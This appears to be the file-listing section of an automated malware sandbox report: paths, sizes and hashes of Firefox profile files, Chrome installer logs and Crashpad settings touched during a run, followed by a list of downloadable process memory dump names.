Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\62d7187f-4060-473d-a3c7-15c250c3525d
Size 3KB
SHA256 a75bdfdac42199d878aac42c5ec15dfec0f5f9acd12022da78d582a4e54b0bce
MD5 4a9e47b832b8f1b05fcfca08e088613f
SHA1 5501f0a6365dcdd1ea7ea93c7d85a9bc726bda0a
SHA512 b04ad5c7ae80be93b83c7c30195b78e3bbe05c4a25d02c8e2efc6277d7853b77f73d709f02539b7a87571801411a247543b0a5b140e129dd47bbb32da97aeaf9
TLSH
T1D36164215518BE738FECA040A33B6E45C9DF33CF68970BDD11698F1446F8469578B26B
MD5 SHA1 SHA512 TLSH

Submit Download

871f63e3-4b50-4c77-969d-b47853bc0733

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\871f63e3-4b50-4c77-969d-b47853bc0733
Size 235B
SHA256 027de4fc78b7d26ea225a437be2bd14028362dc8173186d1bc43699090dca3da
MD5 8b7962faea7faaba010aa44d04228450
SHA1 1ac02796e597719d20165a5c682cff1a0128258e
SHA512 3db4b091a9721befe81798993670fa7bacfece4d48f05b5939c87608379bff04e81f0fbb721d8ea626e2105194e94fb3d5db9000d524b0f306e9f02dab3d41b7
TLSH
T13DD097E028A8339C58141F0BF0F068C270854C3358A95C10DE62843CD9FDAC49261C17
MD5 SHA1 SHA512 TLSH

Submit Download

8af8c4f5-fa5a-4c8a-802c-ee88295df988

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\8af8c4f5-fa5a-4c8a-802c-ee88295df988
Size 3KB
SHA256 746d4e47b6a225e062ef841b7a30e110ae1b1e5c04d685b74116075db978e061
MD5 d8fc0ba5578cd8ecf8cd9ec9d745a256
SHA1 0cc38632867146ce819b5b9ab1b90a5f3219e61e
SHA512 798fe0e344fbc990b315b71182d61ba8b5a29991812c82d9343bf5d195b3a0b8b8979a778e8a3a2aeeee33a98df26ab8e0742342851303a042d0c734b2dd9e24
TLSH
T1796164319518BA338FECA140A3776F4589CE33CF58970B8D12A98F1486F8069578B36B
MD5 SHA1 SHA512 TLSH

Submit Download

93d55db8-08f4-4348-a198-cd7760a42ec8

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\93d55db8-08f4-4348-a198-cd7760a42ec8
Size 883B
SHA256 5a7653943767442c3f638442f82f4533b1911c24f2589ffe24876936fb90445e
MD5 45f99f115b69291a9b014f3b7f0c5123
SHA1 c6dd42c7b72b5d1436290451d0673b0f98922406
SHA512 2b18a7f029453627d4230dbab5a45b5362d91c14abbc7edcd80c3e0083a5e23d3e9f0255c2d30656f4b444a3f006015955df393a4e70671f2ee9c0fcf0d9072e
TLSH
T1F5110044E935B972DC3CD24BC8627B439BE9781380CA55143DF15E140EBE61EAB9B307
MD5 SHA1 SHA512 TLSH

Submit Download

a239560b-802e-4c87-bae0-dc1fbee9347d

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\a239560b-802e-4c87-bae0-dc1fbee9347d
Size 2KB
SHA256 0fcb2be8b04b7ae987700682905e1ddef307e76ce7b2a756f28afcc4d396c960
MD5 7fca9bc0f170f15ec051ba7188bf559c
SHA1 7fd80e7ba3d4f769d07b9e409539686e67b4daeb
SHA512 86774671d26f856e90b7fb836391e7ecd16484207a8c4def08b5d41808d955d5bcad35791c46379d9a85df16e5051a92c6cd53033bf3460a6e01553918af4e7e
TLSH
T16541615C39789CB68C8AF59CD542378E93649B5310C22C831E81EE0CCED679E376A53B
MD5 SHA1 SHA512 TLSH

Submit Download

ae6fd820-dd1f-4844-86d8-7fdf32e1e2f0

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\ae6fd820-dd1f-4844-86d8-7fdf32e1e2f0
Size 3KB
SHA256 b76a91cb67e36273dc0be4593fe13a944b5fb162074330fa7d038f828e530a1b
MD5 b34ea4ca9648863af708ae83d23c3e9b
SHA1 a1c74d4688316003021b3bee5c708290cd280898
SHA512 89616aec9894aa374ba5eb83c2f1faa15bef85e310fb3b08ae0adf78269702eb93a23e006ffafe21cbbb5b70ad9e72daddddc5d3476b5788a16e7e5894ce182c
TLSH
T1A76173219458BD738FECA040A33B6F458ADF33CF58960B8D16698E1446F80A9578B26B
MD5 SHA1 SHA512 TLSH

Submit Download

bc6da9c6-5232-4615-b812-dc4cd19f7226

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\bc6da9c6-5232-4615-b812-dc4cd19f7226
Size 16KB
SHA256 c00ed3d0fe71112d39c3b34cf5597c747e69d4fd4255c50779496a9b9e4f7df1
MD5 283fb417874c0532fee6625afce704c2
SHA1 df9c8b58fadd9b2df646f80606f9aa1c3c7e907e
SHA512 6663ebf47b05b2f9cc6caf2f144d92f6049cff7bf2f03c991ba4399dee6111c97081193283467e4f54dd2d5b92d7159b3e65798621fb5b5bab46a03c135155a3
SSDEEP 192:xHwbMzj994UGHSzOiARQeHv6+B35uA1LT7l75Oe/fxNnkuxmqkkI4SVTJYzrnkOE:xwbM/X4XHSSiARQr+xIe5XtAxJ3
TLSH
T19D72C856686055BA8591E368D4F87FC3E2F538CF4C019FCA8BE4BD086DDE0AE112794B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c7cfd0f2-c3e8-4bf7-873c-7c4f13e4d8fc

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\c7cfd0f2-c3e8-4bf7-873c-7c4f13e4d8fc
Size 896B
SHA256 95fb15848fb976f4ee4e25327c31b52d3834fcdfb97214e5ad0031c4848e332c
MD5 39db6941f940030d6c44936fac635dc9
SHA1 059917b6de37f14c7ccffcd768034e3b96ba29e2
SHA512 1fa9b9dbd8d8ebc6f2afdbdcd5bec88d3bd2eb5df1fac2401b359ac674582b38551d6e16f676f8f31ca9312d5f59ec49207948b86185d39898f991c9180db2ef
TLSH
T121111CA09A2976B2CC28928BD4A0BB438AA5351380CB19043EA05E184DEE20EDB67307
MD5 SHA1 SHA512 TLSH

Submit Download

c7e1910f-fc0d-4812-8528-4cad8c2752ad

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\c7e1910f-fc0d-4812-8528-4cad8c2752ad
Size 3KB
SHA256 7c8acc608d1e240dcb4261195d5bc7d010fcb04066017c4851d6821f2903d676
MD5 a30499bd35bc18997fafe49c5b12c4c3
SHA1 f52e862bf1be44551e2e5622eaea180d8f54e71e
SHA512 302a9d8c845de2688901886c406e6d16731b6579ad537c71fe05c601b3336f3512aa0020a9a83f54c84b9dc15a2c531cc62ca2fc48142894dafe314703715c18
TLSH
T1C16185215558B9738FECA040A3376F45C9DE33CF68970B8D12698F1446F8069578F26B
MD5 SHA1 SHA512 TLSH

Submit Download

e272dcdc-5916-4d56-b58b-ba03f89d5ba9

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\e272dcdc-5916-4d56-b58b-ba03f89d5ba9
Size 235B
SHA256 cd3a54b679aee0077728e803764381e29284a3894f5777488fdd19d9b11d4b50
MD5 5e92d1a113c835a3b405abc397e7b62b
SHA1 e3cc27a37e0c3d79ca1c7b5f7a4d9bf99e37cbe6
SHA512 2fb547d31a9e8bc4d108561b0d05e591f3c16babf3eef21eb197582a7769956ffc819f91e3be4d20549cf6f4721859d920343c9c2208ea58ff34460b07750b35
TLSH
T1BFD0978218E8B32C08240F07F4A029D630844C3728746820C9914679C9BAAC48112B17
MD5 SHA1 SHA512 TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\prefs.js
Size 6KB
SHA256 76eb80e02233aac75acd16db671af6bff60e2cdaa7934557627462668430e1bf
MD5 8e3479e5a3288a661587a6a8e7bf867d
SHA1 ffe7332f56532608089cf3c6e866d724d345c2ca
SHA512 69f3666f86e451160cb2f59e539202901c905510bdd4a4ac61dd544ea61e2111a23229cb72f571881b472ffe678c93449b876738b05ea1b41ab6920ec26c3039
SSDEEP 96:xHdUTUZqGqofyP21zSKSSlcdv9jRnUHgYETBw88u8L4cn7yTM:P0RofyP2DSSxgYeBw887
TLSH
T161E1207894088B7F74B677ACAC648C316AB2017BBBBF68D710B54485054CF3846F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\prefs.js
Size 6KB
SHA256 9d37bc434f8c8e915169d432484c3ab34565d63c1f13c4c6c53878ee72fa5828
MD5 67271d2376fb2fab532d9168c52bf458
SHA1 264e8afcf357b63ef0805666e9f796a7d95e7809
SHA512 0754be5c87be66bae1d3e9773a05a8864d0571b8df3f89f0200bda305b265e48eb1775123dacb797cdc5238e1ac83c5640ea81ca8cde87d688ed350d98766571
SSDEEP 96:xHdUTUZqGqofyP21zSvSSlcdv9jRnUHgYETBw88u8L4cn7yTM:P0RofyP2ySSxgYeBw887
TLSH
T143E1217894088B7F74B677ACAC648C315AB2413BB7BF68D710B54485054CF3846F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Windows\SystemTemp\Crashpad\settings.dat
Size 40B
SHA256 a2f10875c2300b287cfe9ebbbd0636222e20f41897993454d1e0451813c7af5d
MD5 d61953a20a5464edbe2851d23ab4826e
SHA1 785b0f226f0bee869affd051680d3e0c850c3366
SHA512 11fcaa4e7a939802a5565f0f9dcae48a54126ec04630ee884c1de6ae37ede19c5b70e523b90fe2953522e185823a4bfe58586133fd3eec2d606c6e79824a060b
MD5 SHA1 SHA512

Submit Download

chrome_installer.log

Path C:\Windows\SystemTemp\chrome_installer.log
Size 6KB
SHA256 9e3fea632943409c229677b6f06d6f7c804b08461fb005d80141266af929dce9
MD5 082b54145b6a590ee840671020ddeeee
SHA1 5680c3dc49ee4ed88750b832d6daf595d44b6d35
SHA512 7deaf568e9d6c61822ecd3026d02e6f26872195b02988ed80161b05846d0b6c56f1e7318753c6611aaf198e081366b7d0d375b233614b744f5ae768e45858926
SSDEEP 96:uali+Yo+To7y/NhK2ZK20P6UI0NJdYs50d2Bly11pydhK3SfezK38feMsZ0:NgY+97C5masHT
TLSH
T10CD1A09ADF02846F3B818F2B334331A56DAB581AC7E854723BEB5205F4CAE25011F5E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1696-1540-0x0000000070670000-0x00000000706BC000-memory.dmp

Download

memory/2040-1487-0x0000000005ED0000-0x0000000005F1C000-memory.dmp

Download

memory/2040-1499-0x0000000070670000-0x00000000706BC000-memory.dmp

Download

memory/2040-1502-0x0000000007140000-0x00000000071E3000-memory.dmp

Download

memory/2136-432-0x00000000001D0000-0x00000000001D1000-memory.dmp

Download

memory/2332-39-0x0000000007E30000-0x00000000084AC000-memory.dmp

Download

memory/2332-40-0x00000000077F0000-0x000000000780A000-memory.dmp

Download

memory/2332-30-0x0000000006530000-0x000000000657C000-memory.dmp

Download

memory/2332-34-0x0000000075220000-0x000000007526C000-memory.dmp

Download

memory/2332-26-0x0000000006490000-0x00000000064AE000-memory.dmp

Download

memory/2332-33-0x0000000007410000-0x0000000007446000-memory.dmp

Download

memory/2332-37-0x0000000007670000-0x0000000007690000-memory.dmp

Download

memory/2332-38-0x00000000076A0000-0x0000000007743000-memory.dmp

Download

memory/2332-18-0x0000000074940000-0x00000000750FC000-memory.dmp

Download

memory/2332-20-0x0000000005680000-0x00000000056E6000-memory.dmp

Download

memory/2332-13-0x0000000002C50000-0x0000000002C86000-memory.dmp

Download

memory/2332-21-0x0000000005ED0000-0x0000000005F36000-memory.dmp

Download

memory/2332-14-0x0000000005880000-0x0000000005ECA000-memory.dmp

Download

memory/2332-47-0x0000000074940000-0x00000000750FC000-memory.dmp

Download

memory/2332-15-0x0000000074940000-0x00000000750FC000-memory.dmp

Download

memory/2332-19-0x0000000074940000-0x00000000750FC000-memory.dmp

Download

memory/2332-41-0x0000000007860000-0x000000000786A000-memory.dmp

Download

memory/2332-42-0x0000000007A60000-0x0000000007AF6000-memory.dmp

Download

memory/3852-173-0x00000188D3B60000-0x00000188D3CF4000-memory.dmp

Download

memory/4156-27-0x0000020F632A0000-0x0000020F632C2000-memory.dmp

Download

memory/4176-50-0x00000000065B0000-0x0000000006600000-memory.dmp

Download

memory/4176-17-0x0000000000400000-0x00000000004BE000-memory.dmp

Download

memory/4176-48-0x0000000006680000-0x0000000006842000-memory.dmp

Download

memory/4176-43-0x0000000006400000-0x00000000064B2000-memory.dmp

Download

memory/4176-49-0x0000000006530000-0x00000000065A6000-memory.dmp

Download

memory/4176-1742-0x0000000007610000-0x000000000796B000-memory.dmp

Download

memory/4176-283-0x0000000074940000-0x00000000750FC000-memory.dmp

Download

memory/4176-22-0x0000000074940000-0x00000000750FC000-memory.dmp

Download

memory/4176-52-0x0000000006970000-0x000000000698E000-memory.dmp

Download

memory/4176-51-0x0000000006D80000-0x00000000072AC000-memory.dmp

Download

memory/4304-1110-0x0000017071860000-0x00000170719F4000-memory.dmp

Download

memory/4852-11-0x0000000074940000-0x00000000750FC000-memory.dmp

Download

memory/4852-12-0x00000000080A0000-0x00000000081FA000-memory.dmp

Download

memory/4852-10-0x0000000074952000-0x0000000074953000-memory.dmp

Download

memory/4852-7-0x0000000074940000-0x00000000750FC000-memory.dmp

Download

memory/4852-6-0x0000000004E40000-0x0000000004EDC000-memory.dmp

Download

memory/4852-5-0x0000000004CB0000-0x0000000004CBA000-memory.dmp

Download

memory/4852-8-0x0000000004FA0000-0x0000000004FC2000-memory.dmp

Download

memory/4852-0-0x0000000074952000-0x0000000074953000-memory.dmp

Download

memory/4852-9-0x0000000005240000-0x0000000005262000-memory.dmp

Download

memory/4852-4-0x0000000005880000-0x0000000005BDB000-memory.dmp

Download

memory/4852-25-0x0000000074940000-0x00000000750FC000-memory.dmp

Download

memory/4852-3-0x0000000004D00000-0x0000000004D92000-memory.dmp

Download

memory/4852-2-0x00000000052C0000-0x000000000587A000-memory.dmp

Download

memory/4852-1-0x0000000000110000-0x00000000002A4000-memory.dmp

Download

memory/5740-406-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

Download